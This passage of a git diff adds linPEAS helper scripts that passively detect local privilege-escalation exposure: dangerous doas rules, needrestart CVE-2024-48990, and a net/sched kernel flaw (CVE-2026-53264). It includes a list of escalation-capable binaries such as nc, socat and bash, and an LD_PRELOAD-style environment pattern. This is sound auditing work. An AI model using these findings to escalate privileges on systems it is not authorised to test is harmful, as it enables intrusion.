"$DF43_MITIG_RXRPC" != "yes" ]; then - if [ "$DF43_USERNS_OFF" = "yes" ]; then + if [ "$DF43_RXRPC_AFFECTED" != "yes" ]; then + : + elif [ "$DF43_USERNS_OFF" = "yes" ]; then echo "CVE-2026-43500 reachable but public PoC blocked by disabled user namespaces." | sed -${E} "s,.*,${SED_YELLOW}," [ $DF43_RC -lt 1 ] && DF43_RC=1 else diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDoas.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDoas.sh new file mode 100644 index 00000000..106de2b8 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDoas.sh @@ -0,0 +1,279 @@ +# Title: Function - checkDoas +# ID: checkDoas +# Author: Carlos Polop +# Last Update: 11-08-2026 +# Description: Helpers for detecting dangerous doas rules, package versions, and effective permissions without executing privileged commands. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $TIMEOUT, $doas_current_gids, $doas_current_groups, $doas_current_uid, $doas_current_user, $sudoVB1, $sudoVB2 +# Initial Functions: +# Generated Global Variables: $doas_candidate, $doas_candidate_version, $doas_homepage_lower, $doas_package_full_version, $doas_package_homepage, $doas_package_implementation, $doas_package_line, $doas_package_manager, $doas_package_name, $doas_package_source, $doas_rule_cmd, $doas_rule_identity_value +# Fat linpeas: 0 +# Small linpeas: 1 + + +doas_extract_upstream_version() { + printf "%s\n" "$1" | grep -oE '[0-9]+(\.[0-9]+){1,2}' | head -n 1 +} + +doas_version_ge() { + awk -v left="$1" -v right="$2" 'BEGIN { + left_n = split(left, left_v, ".") + right_n = split(right, right_v, ".") + max_n = left_n > right_n ? left_n : right_n + for (i = 1; i <= max_n; i++) { + left_i = (i <= left_n ? left_v[i] : 0) + 0 + right_i = (i <= right_n ? right_v[i] : 0) + 0 + if (left_i > right_i) exit 0 + if (left_i < right_i) exit 1 + } + exit 0 + }' +} + +doas_version_lt() { + if doas_version_ge "$1" "$2"; then + return 1 + fi + return 0 +} + +doas_version_le() { + if doas_version_lt "$2" "$1"; then + return 1 + fi + return 0 +} + +doas_read_rules() { + awk ' + function trim(value) { + sub(/^[[:space:]]+/, "", value) + sub(/[[:space:]]+$/, "", value) + return value + } + { + source = $0 + output = "" + quoted = 0 + escaped = 0 + for (i = 1; i <= length(source); i++) { + char = substr(source, i, 1) + if (char == "#" && !quoted) break + output = output char + if (char == "\"" && !escaped) quoted = !quoted + if (char == "\\" && !escaped) escaped = 1 + else escaped = 0 + } + output = trim(output) + if (output ~ /^(permit|deny)([[:space:]]|$)/) + printf "%d\t%s\n", NR, output + } + ' "$1" 2>/dev/null +} + +doas_rule_identity() { + printf "%s\n" "$1" | awk ' + { + in_setenv = 0 + for (i = 2; i <= NF; i++) { + token = $i + if (in_setenv) { + if (token ~ /}/) in_setenv = 0 + continue + } + if (token == "setenv") { + in_setenv = 1 + continue + } + if (token == "nopass" || token == "nolog" || token == "persist" || token == "keepenv") + continue + gsub(/^"|"$/, "", token) + print token + exit + } + } + ' +} + +doas_rule_has_option() { + printf "%s\n" "$1" | awk -v wanted="$2" ' + { + in_setenv = 0 + for (i = 2; i <= NF; i++) { + token = $i + if (in_setenv) { + if (token ~ /}/) in_setenv = 0 + continue + } + if (token == "setenv") { + if (wanted == token) exit 0 + in_setenv = 1 + continue + } + if (token == "nopass" || token == "nolog" || token == "persist" || token == "keepenv") { + if (wanted == token) exit 0 + continue + } + exit 1 + } + exit 1 + } + ' +} + +doas_rule_has_dangerous_environment() { + if doas_rule_has_option "$1" keepenv; then + return 0 + fi + printf "%s\n" "$1" | grep -Eq '(^|[[:space:]{])(setenv[[:space:]]*\{[^}]*[[:space:]])?(PATH|LD_PRELOAD|LD_LIBRARY_PATH|BASH_ENV|ENV|PYTHONPATH|PERL5LIB|RUBYLIB)([=[:space:]}]|$)' +} + +doas_rule_command() { + printf "%s\n" "$1" | awk ' + { + for (i = 1; i < NF; i++) { + if ($i == "cmd") { + command = $(i + 1) + gsub(/^"|"$/, "", command) + print command + exit + } + } + } + ' +} + +doas_rule_targets_root() { + printf "%s\n" "$1" | awk ' + { + for (i = 1; i < NF; i++) { + if ($i == "as") { + target = $(i + 1) + gsub(/^"|"$/, "", target) + exit(target == "root" || target == "0" || target == "#0" ? 0 : 1) + } + } + exit 0 + } + ' +} + +doas_rule_applies_to_current_user() { + doas_rule_identity_value="$(doas_rule_identity "$1")" + case "$doas_rule_identity_value" in + "$doas_current_user"|"$doas_current_uid"|"#$doas_current_uid") return 0 ;; + esac + + case "$doas_rule_identity_value" in + :*) + doas_rule_identity_value="${doas_rule_identity_value#:}" + for doas_candidate in $doas_current_groups $doas_current_gids; do + if [ "$doas_candidate" = "$doas_rule_identity_value" ] || [ "#$doas_candidate" = "$doas_rule_identity_value" ]; then + return 0 + fi + done + ;; + esac + return 1 +} + +doas_command_is_dangerous() { + doas_rule_cmd="$1" + doas_rule_cmd="${doas_rule_cmd##*/}" + case "$doas_rule_cmd" in + ash|awk|bash|busybox|csh|dash|dstat|ed|env|expect|find|fish|gdb|git|ionice|jrunscript|ksh|less|lua|make|more|mv|nano|nawk|nc|ncat|nice|node|nvim|perl|php|python|python2|python3|rake|rlwrap|ruby|run-parts|rvim|sed|sh|socat|sqlite3|tar|tee|tclsh|vi|vim|watch|xargs|zsh) + return 0 + ;; + esac + + if [ -n "${sudoVB1:-}" ] && printf " %s\n" "$1" | grep -Eq "$sudoVB1" 2>/dev/null; then + return 0 + fi + if [ -n "${sudoVB2:-}" ] && printf " %s\n" "$1" | grep -Eq "$sudoVB2" 2>/dev/null; then + return 0 + fi + return 1 +} + +doas_get_package_details() { + doas_package_manager="" + doas_package_name="" + doas_package_full_version="" + doas_package_source="" + doas_package_homepage="" + doas_package_implementation="unknown" + + if command -v dpkg-query >/dev/null 2>&1; then + doas_package_name="$(dpkg-query -S "$1" 2>/dev/null | head -n 1 | sed 's/: .*//' | cut -d: -f1)" + if [ -n "$doas_package_name" ]; then + doas_package_manager="dpkg" + doas_package_full_version="$(dpkg-query -W -f='$''{Version}\n' "$doas_package_name" 2>/dev/null | head -n 1)" + doas_package_source="$(dpkg-query -W -f='$''{source:Package}\n' "$doas_package_name" 2>/dev/null | head -n 1 | sed 's/^src://')" + doas_package_homepage="$(dpkg-query -W -f='$''{Homepage}\n' "$doas_package_name" 2>/dev/null | head -n 1)" + fi + elif command -v rpm >/dev/null 2>&1; then + doas_package_line="$(rpm -qf --qf '%{NAME}|%{VERSION}-%{RELEASE}|%{URL}\n' "$1" 2>/dev/null | head -n 1)" + if [ -n "$doas_package_line" ]; then + doas_package_manager="rpm" + doas_package_name="$(printf "%s" "$doas_package_line" | cut -d'|' -f1)" + doas_package_full_version="$(printf "%s" "$doas_package_line" | cut -d'|' -f2)" + doas_package_homepage="$(printf "%s" "$doas_package_line" | cut -d'|' -f3-)" + fi + elif command -v apk >/dev/null 2>&1; then + for doas_candidate in opendoas doas; do + doas_candidate_version="$(apk info -e -v "$doas_candidate" 2>/dev/null | head -n 1)" + if [ -n "$doas_candidate_version" ]; then + doas_package_manager="apk" + doas_package_name="$doas_candidate" + doas_package_full_version="${doas_candidate_version#${doas_candidate}-}" + doas_package_homepage="$(apk info -a "$doas_candidate" 2>/dev/null | sed -n 's/^webpage[[:space:]]*:[[:space:]]*//p' | head -n 1)" + break + fi + done + elif command -v pacman >/dev/null 2>&1; then + doas_package_line="$(pacman -Qo "$1" 2>/dev/null | head -n 1)" + doas_package_name="$(printf "%s\n" "$doas_package_line" | sed -nE 's/.* is owned by ([^ ]+) .*/\1/p')" + doas_package_full_version="$(printf "%s\n" "$doas_package_line" | sed -nE 's/.* is owned by [^ ]+ ([^ ]+).*/\1/p')" + if [ -n "$doas_package_name" ]; then + doas_package_manager="pacman" + doas_package_homepage="$(pacman -Qi "$doas_package_name" 2>/dev/null | sed -n 's/^URL[[:space:]]*:[[:space:]]*//p' | head -n 1)" + fi + elif command -v pkg >/dev/null 2>&1; then + doas_package_name="$(pkg which -q "$1" 2>/dev/null | head -n 1)" + if [ -n "$doas_package_name" ]; then + doas_package_manager="pkg" + doas_package_line="$(pkg query '%n|%v|%o|%w' "$doas_package_name" 2>/dev/null | head -n 1)" + doas_package_name="$(printf "%s" "$doas_package_line" | cut -d'|' -f1)" + doas_package_full_version="$(printf "%s" "$doas_package_line" | cut -d'|' -f2)" + doas_package_source="$(printf "%s" "$doas_package_line" | cut -d'|' -f3)" + doas_package_homepage="$(printf "%s" "$doas_package_line" | cut -d'|' -f4-)" + fi + fi + + doas_homepage_lower="$(printf "%s" "$doas_package_homepage" | tr '[:upper:]' '[:lower:]')" + case "$doas_homepage_lower:$doas_package_source:$doas_package_name" in + *duncaen/opendoas*|*:opendoas:*|*:*:opendoas) doas_package_implementation="opendoas" ;; + *slicer69/doas*) doas_package_implementation="slicer69" ;; + esac + if [ "$(uname -s 2>/dev/null)" = "OpenBSD" ]; then + doas_package_implementation="openbsd" + fi +} + +doas_config_syntax_valid() { + if [ -n "${TIMEOUT:-}" ]; then + "$TIMEOUT" 5 "$1" -C "$2" >/dev/null 2>&1 + else + "$1" -C "$2" >/dev/null 2>&1 + fi +} + +doas_check_command() { + if [ -n "${TIMEOUT:-}" ]; then + "$TIMEOUT" 5 "$1" -C "$2" "$3" 2>/dev/null + else + "$1" -C "$2" "$3" 2>/dev/null + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNeedrestartCVE202448990.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNeedrestartCVE202448990.sh new file mode 100644 index 00000000..baaf505c --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNeedrestartCVE202448990.sh @@ -0,0 +1,153 @@ +# Title: Functions - checkNeedrestartCVE202448990 +# ID: checkNeedrestartCVE202448990 +# Author: Chack Agent +# Last Update: 07-09-2026 +# Description: Passively identify needrestart interpreter-scanner local privilege-escalation exposure, including CVE-2024-48990. +# License: GNU GPL +# Version: 1.2 +# Mitre: T1068 +# Functions Used: lp_extract_upstream_version, lp_version_lt, print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $nr48990_binary, $nr48990_binary_candidate, $nr48990_codename, $nr48990_config, $nr48990_config_file, $nr48990_config_file_value, $nr48990_distro_id, $nr48990_dpkg_fixed, $nr48990_dpkg_record, $nr48990_full_version, $nr48990_interpscan, $nr48990_manager, $nr48990_os_release, $nr48990_root, $nr48990_rpm_record, $nr48990_status, $nr48990_ubuntu_codename, $nr48990_upstream_version +# Fat linpeas: 0 +# Small linpeas: 1 + +nr48990_fixed_dpkg_version() { + # Vendor backports from Ubuntu CVE-2024-48990 and Debian DSA-5815-1 / + # DLA-3957-1; comparing only the upstream 3.8 version would misclassify them. + case "$1:$2" in + debian:bullseye|raspbian:bullseye) echo "3.5-4+deb11u4" ;; + debian:bookworm|raspbian:bookworm) echo "3.6-4+deb12u2" ;; + debian:trixie|debian:forky|debian:sid) echo "3.7-3.1" ;; + ubuntu:xenial) echo "2.6-1ubuntu0.1~esm1" ;; + ubuntu:bionic) echo "3.1-1ubuntu0.1+esm1" ;; + ubuntu:focal) echo "3.4-6ubuntu0.1+esm1" ;; + ubuntu:jammy) echo "3.5-5ubuntu2.2" ;; + ubuntu:noble) echo "3.6-7ubuntu4.3" ;; + ubuntu:oracular) echo "3.6-8ubuntu4.2" ;; + ubuntu:plucky) echo "3.6-8ubuntu6" ;; + esac +} + +nr48990_effective_interpscan() { + nr48990_config="1" + for nr48990_config_file in "$1"etc/needrestart/needrestart.conf "$1"etc/needrestart/conf.d/*.conf; do + [ -r "$nr48990_config_file" ] || continue + nr48990_config_file_value="$(awk ' + /^[[:space:]]*#/ { next } + { + nr48990_line = $0 + sub(/[[:space:]]*#.*/, "", nr48990_line) + if (nr48990_line ~ /^[[:space:]]*[$]nrconf[[:space:]]*\{[[:space:]]*[\047\042]?interpscan[\047\042]?[[:space:]]*\}[[:space:]]*=[[:space:]]*[01][[:space:]]*;/) { + sub(/^.*=[[:space:]]*/, "", nr48990_line) + sub(/[[:space:]]*;.*/, "", nr48990_line) + print nr48990_line + } + } + ' "$nr48990_config_file" 2>/dev/null | tail -n1)" + [ -n "$nr48990_config_file_value" ] && nr48990_config="$nr48990_config_file_value" + done + printf '%s' "$nr48990_config" +} + +checkNeedrestartCVE202448990() { + nr48990_root="${ROOT_FOLDER:-/}" + case "$nr48990_root" in + */) ;; + *) nr48990_root="${nr48990_root}/" ;; + esac + + nr48990_binary="" + if [ "$nr48990_root" = "/" ]; then + nr48990_binary="$(command -v needrestart 2>/dev/null)" + else + for nr48990_binary_candidate in usr/sbin/needrestart usr/bin/needrestart sbin/needrestart bin/needrestart; do + if [ -f "${nr48990_root}${nr48990_binary_candidate}" ]; then + nr48990_binary="${nr48990_root}${nr48990_binary_candidate}" + break + fi + done + fi + nr48990_full_version="" + nr48990_manager="" + if command -v dpkg-query >/dev/null 2>&1; then + nr48990_dpkg_record="$(dpkg-query --admindir="${nr48990_root}var/lib/dpkg" -W -f='$''{Status}|$''{Version}\n' needrestart 2>/dev/null | head -n1)" + case "$nr48990_dpkg_record" in + "install ok installed|"*) + nr48990_full_version="${nr48990_dpkg_record#*|}" + [ -n "$nr48990_full_version" ] && nr48990_manager="dpkg" + ;; + esac + fi + if [ -z "$nr48990_full_version" ] && command -v rpm >/dev/null 2>&1; then + if nr48990_rpm_record="$(rpm --root "$nr48990_root" -q --qf '%{VERSION}-%{RELEASE}\n' needrestart 2>/dev/null)"; then + nr48990_full_version="$(printf '%s\n' "$nr48990_rpm_record" | head -n1)" + [ -n "$nr48990_full_version" ] && nr48990_manager="rpm" + fi + fi + [ -n "$nr48990_binary" ] || [ -n "$nr48990_full_version" ] || return 0 + + print_3title "Needrestart interpreter-scanner LPE (CVE-2024-48990)" "T1068" + print_info "https://ubuntu.com/security/CVE-2024-48990" + + nr48990_os_release="${nr48990_root}etc/os-release" + nr48990_distro_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "$nr48990_os_release" 2>/dev/null | head -n1)" + nr48990_codename="$(sed -nE 's/^VERSION_CODENAME="?([^" ]+)"?$/\1/p' "$nr48990_os_release" 2>/dev/null | head -n1)" + nr48990_ubuntu_codename="$(sed -nE 's/^UBUNTU_CODENAME="?([^" ]+)"?$/\1/p' "$nr48990_os_release" 2>/dev/null | head -n1)" + if [ -n "$nr48990_ubuntu_codename" ]; then + nr48990_distro_id="ubuntu" + nr48990_codename="$nr48990_ubuntu_codename" + fi + + nr48990_upstream_version="$(lp_extract_upstream_version "$nr48990_full_version")" + nr48990_interpscan="$(nr48990_effective_interpscan "$nr48990_root")" + nr48990_dpkg_fixed="" + nr48990_status="unknown" + + if [ "$nr48990_manager" = "dpkg" ] && command -v dpkg >/dev/null 2>&1; then + nr48990_dpkg_fixed="$(nr48990_fixed_dpkg_version "$nr48990_distro_id" "$nr48990_codename")" + if [ -n "$nr48990_dpkg_fixed" ]; then + if dpkg --compare-versions "$nr48990_full_version" lt "$nr48990_dpkg_fixed"; then + nr48990_status="affected" + else + nr48990_status="fixed" + fi + fi + fi + if [ "$nr48990_status" = "unknown" ] && [ -n "$nr48990_upstream_version" ]; then + if lp_version_lt "$nr48990_upstream_version" "3.8"; then + nr48990_status="potential" + else + nr48990_status="fixed" + fi + fi + + echo "needrestart package: ${nr48990_full_version:-version unknown}${nr48990_manager:+ ($nr48990_manager)}" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + if [ -n "$nr48990_dpkg_fixed" ]; then + echo "Vendor fixed version for ${nr48990_distro_id:-unknown} ${nr48990_codename:-unknown}: $nr48990_dpkg_fixed" + fi + + case "$nr48990_status:$nr48990_interpscan" in + affected:0|potential:0) + echo "Affected needrestart version detected, but the official interpscan=0 mitigation is active; update is still recommended" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + affected:*) + echo "VULNERABLE to CVE-2024-48990: needrestart $nr48990_full_version is below the vendor fixed version and interpreter scanning is enabled" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + potential:*) + echo "Potentially vulnerable to CVE-2024-48990: upstream needrestart $nr48990_upstream_version is before 3.8 and interpreter scanning is enabled; verify distro backports" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + fixed:*) + echo "needrestart $nr48990_full_version is not vulnerable to CVE-2024-48990 according to the known vendor/upstream fixed version" | sed -${E} "s,.*,${SED_GREEN}," + ;; + unknown:0) + echo "needrestart is present; version is unknown, but the interpscan=0 mitigation is active" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + *) + echo "needrestart is present with interpreter scanning enabled, but its version could not be assessed" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + esac + echo "Effective interpreter scanning: $nr48990_interpscan (0=disabled mitigation, 1=enabled/default)" + echo "" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNetSchedCVE202653264.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNetSchedCVE202653264.sh new file mode 100644 index 00000000..cc02fef2 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNetSchedCVE202653264.sh @@ -0,0 +1,274 @@ +# Title: Functions - checkNetSchedCVE202653264 +# ID: checkNetSchedCVE202653264 +# Author: HT Bot +# Last Update: 25-09-2026 +# Description: Passively identify systems exposing the unprivileged net/sched action UAF path in CVE-2026-53264. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $ns53264_base, $ns53264_cfg, $ns53264_cfg_data, $ns53264_codename, $ns53264_fixed_pkg, $ns53264_gact, $ns53264_kernel, $ns53264_major, $ns53264_minor, $ns53264_mod, $ns53264_mod_state, $ns53264_modules_builtin, $ns53264_modules_dep, $ns53264_modules_disabled, $ns53264_os_id, $ns53264_os_release, $ns53264_package, $ns53264_package_source, $ns53264_package_version, $ns53264_patch, $ns53264_rc, $ns53264_root, $ns53264_rule, $ns53264_status, $ns53264_userns, $ns53264_flower +# Fat linpeas: 0 +# Small linpeas: 1 + + +ns53264_kernel_status() { + ns53264_kernel="$1" + ns53264_base="${ns53264_kernel%%-*}" + ns53264_major="$(printf '%s' "$ns53264_base" | cut -d. -f1)" + ns53264_minor="$(printf '%s' "$ns53264_base" | cut -d. -f2)" + ns53264_patch="$(printf '%s' "$ns53264_base" | cut -d. -f3)" + [ -n "$ns53264_patch" ] || ns53264_patch=0 + ns53264_rc="$(printf '%s' "$ns53264_kernel" | sed -n 's/.*-rc\([0-9][0-9]*\).*/\1/p')" + + case "$ns53264_major:$ns53264_minor:$ns53264_patch" in + *[!0-9:]*|::*|*:|:*) echo unknown; return ;; + esac + + if [ "$ns53264_major" -lt 4 ] \ + || { [ "$ns53264_major" -eq 4 ] && [ "$ns53264_minor" -lt 14 ]; }; then + echo predates + return + fi + + if [ "$ns53264_major" -gt 7 ] \ + || { [ "$ns53264_major" -eq 7 ] && [ "$ns53264_minor" -gt 1 ]; }; then + echo fixed + return + fi + + if [ "$ns53264_major" -eq 7 ] && [ "$ns53264_minor" -eq 1 ]; then + if [ -n "$ns53264_rc" ] && [ "$ns53264_rc" -lt 7 ]; then + echo affected + else + echo fixed + fi + return + fi + + case "$ns53264_major.$ns53264_minor" in + 5.10) [ "$ns53264_patch" -ge 259 ] && echo fixed || echo affected ;; + 5.15) [ "$ns53264_patch" -ge 210 ] && echo fixed || echo affected ;; + 6.1) [ "$ns53264_patch" -ge 176 ] && echo fixed || echo affected ;; + 6.6) [ "$ns53264_patch" -ge 143 ] && echo fixed || echo affected ;; + 6.12) [ "$ns53264_patch" -ge 94 ] && echo fixed || echo affected ;; + 6.18) [ "$ns53264_patch" -ge 36 ] && echo fixed || echo affected ;; + 7.0) [ "$ns53264_patch" -ge 13 ] && echo fixed || echo affected ;; + *) echo affected ;; + esac +} + +ns53264_module_is_disabled() { + ns53264_mod="$1" + for ns53264_rule in \ + "${ns53264_root}"etc/modprobe.d/*.conf \ + "${ns53264_root}"run/modprobe.d/*.conf \ + "${ns53264_root}"usr/lib/modprobe.d/*.conf \ + "${ns53264_root}"lib/modprobe.d/*.conf; do + [ -r "$ns53264_rule" ] || continue + grep -Eq "^[[:space:]]*install[[:space:]]+${ns53264_mod}[[:space:]]+(/usr)?/bin/(true|false)([[:space:]#]|$)" "$ns53264_rule" 2>/dev/null \ + && return 0 + done + return 1 +} + +ns53264_module_state() { + ns53264_mod="$1" + ns53264_cfg="$2" + ns53264_mod_state="unknown" + + if printf '%s\n' "$ns53264_cfg_data" | grep -q "^${ns53264_cfg}=y$"; then + ns53264_mod_state="built-in" + elif printf '%s\n' "$ns53264_cfg_data" | grep -q "^${ns53264_cfg}=m$"; then + ns53264_mod_state="module" + elif printf '%s\n' "$ns53264_cfg_data" | grep -Eq "^# ${ns53264_cfg} is not set$|^${ns53264_cfg}=n$"; then + ns53264_mod_state="disabled" + fi + + if [ -d "${ns53264_root}sys/module/${ns53264_mod}" ] \ + || grep -q "^${ns53264_mod}[[:space:]]" "${ns53264_root}proc/modules" 2>/dev/null; then + ns53264_mod_state="loaded" + elif [ "$ns53264_mod_state" = "unknown" ] \ + && grep -Eq "(^|/)${ns53264_mod}\.ko(\.(gz|xz|zst))?:" "$ns53264_modules_dep" 2>/dev/null; then + ns53264_mod_state="module" + elif [ "$ns53264_mod_state" = "unknown" ] \ + && grep -Eq "(^|/)${ns53264_mod}\.ko(\.(gz|xz|zst))?$" "$ns53264_modules_builtin" 2>/dev/null; then + ns53264_mod_state="built-in" + fi + + if [ "$ns53264_mod_state" = "module" ]; then + if [ "$ns53264_modules_disabled" = "1" ] || ns53264_module_is_disabled "$ns53264_mod"; then + ns53264_mod_state="unavailable" + fi + fi + + printf '%s' "$ns53264_mod_state" +} + +ns53264_running_package_is_fixed() { + ns53264_fixed_pkg="no" + ns53264_package="" + ns53264_package_source="" + ns53264_package_version="" + + # Package-manager queries only describe the live root. For an alternate + # ROOT_FOLDER, retain the conservative upstream-version result. + [ "$ns53264_root" = "/" ] || return 1 + + if command -v dpkg-query >/dev/null 2>&1; then + ns53264_package="$(dpkg-query -S "/boot/vmlinuz-$ns53264_kernel" 2>/dev/null | sed 's/: .*//' | head -n1)" + if [ -z "$ns53264_package" ]; then + ns53264_package="$(dpkg-query -S "/lib/modules/$ns53264_kernel" 2>/dev/null | sed 's/: .*//' | head -n1)" + fi + if [ -n "$ns53264_package" ]; then + ns53264_package_version="$(dpkg-query -W -f='$''{Version}\n' "$ns53264_package" 2>/dev/null | head -n1)" + ns53264_package_source="$(dpkg-query -W -f='$''{source:Package}\n' "$ns53264_package" 2>/dev/null | head -n1 | sed 's/^src://')" + + for ns53264_rule in /usr/share/doc/"$ns53264_package"/changelog*; do + [ -r "$ns53264_rule" ] || continue + case "$ns53264_rule" in + *.gz) command -v gzip >/dev/null 2>&1 && gzip -cd "$ns53264_rule" 2>/dev/null ;; + *) cat "$ns53264_rule" 2>/dev/null ;; + esac + done | grep -Eiq 'CVE-2026-53264|5057e1aca011|net/sched: act_api: use RCU with deferred freeing' \ + && ns53264_fixed_pkg="yes" + + # Debian Security Tracker fixed source-package versions. + if [ "$ns53264_fixed_pkg" = "no" ] && [ "$ns53264_os_id" = "debian" ] \ + && command -v dpkg >/dev/null 2>&1; then + case "$ns53264_codename:$ns53264_package_source" in + bullseye:linux) + dpkg --compare-versions "$ns53264_package_version" ge '5.10.259-1' && ns53264_fixed_pkg="yes" + ;; + bullseye:linux-6.1) + dpkg --compare-versions "$ns53264_package_version" ge '6.1.176-1~deb11u1' && ns53264_fixed_pkg="yes" + ;; + bookworm:linux) + dpkg --compare-versions "$ns53264_package_version" ge '6.1.176-1' && ns53264_fixed_pkg="yes" + ;; + trixie:linux) + dpkg --compare-versions "$ns53264_package_version" ge '6.12.94-1' && ns53264_fixed_pkg="yes" + ;; + esac + fi + + # Canonical lists this standard Resolute kernel package as fixed. + if [ "$ns53264_fixed_pkg" = "no" ] && [ "$ns53264_os_id" = "ubuntu" ] \ + && [ "$ns53264_codename" = "resolute" ] && [ "$ns53264_package_source" = "linux" ] \ + && command -v dpkg >/dev/null 2>&1; then + dpkg --compare-versions "$ns53264_package_version" ge '7.0.0-31.31' \ + && ns53264_fixed_pkg="yes" + fi + fi + fi + + if [ "$ns53264_fixed_pkg" = "no" ] && command -v rpm >/dev/null 2>&1; then + ns53264_package="$(rpm -q --whatprovides "kernel-uname-r = $ns53264_kernel" 2>/dev/null | head -n1)" + case "$ns53264_package" in + ''|no\ package*) ;; + *) + ns53264_package_version="$(rpm -q --qf '%{VERSION}-%{RELEASE}\n' "$ns53264_package" 2>/dev/null | head -n1)" + rpm -q --changelog "$ns53264_package" 2>/dev/null \ + | grep -Eiq 'CVE-2026-53264|5057e1aca011|net/sched: act_api: use RCU with deferred freeing' \ + && ns53264_fixed_pkg="yes" + ;; + esac + fi + + [ "$ns53264_fixed_pkg" = "yes" ] +} + +checkNetSchedCVE202653264() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + ns53264_root="${ROOT_FOLDER:-/}" + case "$ns53264_root" in + */) ;; + *) ns53264_root="${ns53264_root}/" ;; + esac + + ns53264_kernel="$(cat "${ns53264_root}proc/sys/kernel/osrelease" 2>/dev/null)" + [ -n "$ns53264_kernel" ] || ns53264_kernel="$(uname -r 2>/dev/null)" + ns53264_status="$(ns53264_kernel_status "$ns53264_kernel")" + [ "$ns53264_status" = "affected" ] || return 0 + + ns53264_os_release="${ns53264_root}etc/os-release" + ns53264_os_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "$ns53264_os_release" 2>/dev/null | head -n1)" + ns53264_codename="$(sed -nE 's/^VERSION_CODENAME="?([^" ]+)"?$/\1/p' "$ns53264_os_release" 2>/dev/null | head -n1)" + ns53264_running_package_is_fixed && return 0 + + ns53264_cfg="" + for ns53264_cfg in \ + "${ns53264_root}proc/config.gz" \ + "${ns53264_root}boot/config-${ns53264_kernel}" \ + "${ns53264_root}lib/modules/${ns53264_kernel}/config" \ + "${ns53264_root}lib/modules/${ns53264_kernel}/build/.config" \ + "${ns53264_root}usr/lib/modules/${ns53264_kernel}/build/.config"; do + [ -r "$ns53264_cfg" ] && break + ns53264_cfg="" + done + + ns53264_cfg_data="" + if [ -n "$ns53264_cfg" ]; then + case "$ns53264_cfg" in + *.gz) + if command -v gzip >/dev/null 2>&1; then + ns53264_cfg_data="$(gzip -cd "$ns53264_cfg" 2>/dev/null | grep -E '^(CONFIG_USER_NS|CONFIG_NET_ACT_GACT|CONFIG_NET_CLS_FLOWER)=|^# (CONFIG_USER_NS|CONFIG_NET_ACT_GACT|CONFIG_NET_CLS_FLOWER) is not set$')" + fi + ;; + *) + ns53264_cfg_data="$(grep -E '^(CONFIG_USER_NS|CONFIG_NET_ACT_GACT|CONFIG_NET_CLS_FLOWER)=|^# (CONFIG_USER_NS|CONFIG_NET_ACT_GACT|CONFIG_NET_CLS_FLOWER) is not set$' "$ns53264_cfg" 2>/dev/null)" + ;; + esac + fi + + if printf '%s\n' "$ns53264_cfg_data" | grep -Eq '^# CONFIG_USER_NS is not set$|^CONFIG_USER_NS=n$'; then + return 0 + fi + + ns53264_userns="unknown" + if printf '%s\n' "$ns53264_cfg_data" | grep -q '^CONFIG_USER_NS=y$'; then + ns53264_userns="enabled" + fi + if [ -r "${ns53264_root}proc/sys/user/max_user_namespaces" ]; then + ns53264_rule="$(cat "${ns53264_root}proc/sys/user/max_user_namespaces" 2>/dev/null)" + case "$ns53264_rule" in + ''|*[!0-9]*) ;; + 0) return 0 ;; + *) ns53264_userns="enabled" ;; + esac + fi + if [ -r "${ns53264_root}proc/sys/kernel/unprivileged_userns_clone" ]; then + ns53264_rule="$(cat "${ns53264_root}proc/sys/kernel/unprivileged_userns_clone" 2>/dev/null)" + [ "$ns53264_rule" = "0" ] && return 0 + [ "$ns53264_rule" = "1" ] && ns53264_userns="enabled" + fi + + ns53264_modules_dep="${ns53264_root}lib/modules/${ns53264_kernel}/modules.dep" + ns53264_modules_builtin="${ns53264_root}lib/modules/${ns53264_kernel}/modules.builtin" + ns53264_modules_disabled="$(cat "${ns53264_root}proc/sys/kernel/modules_disabled" 2>/dev/null)" + ns53264_gact="$(ns53264_module_state act_gact CONFIG_NET_ACT_GACT)" + ns53264_flower="$(ns53264_module_state cls_flower CONFIG_NET_CLS_FLOWER)" + + case "$ns53264_gact:$ns53264_flower" in + *disabled*|*unavailable*) return 0 ;; + esac + + print_3title "net/sched action UAF exposure (CVE-2026-53264)" "T1068" + print_info "https://www.cve.org/CVERecord?id=CVE-2026-53264" + if [ "$ns53264_userns" = "enabled" ] \ + && [ "$ns53264_gact" != "unknown" ] && [ "$ns53264_flower" != "unknown" ]; then + echo "HIGH-RISK: potentially vulnerable kernel $ns53264_kernel with unprivileged user namespaces and the required traffic-control components reachable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "Potential CVE-2026-53264 exposure on kernel $ns53264_kernel; one or more prerequisites could not be confirmed" | sed 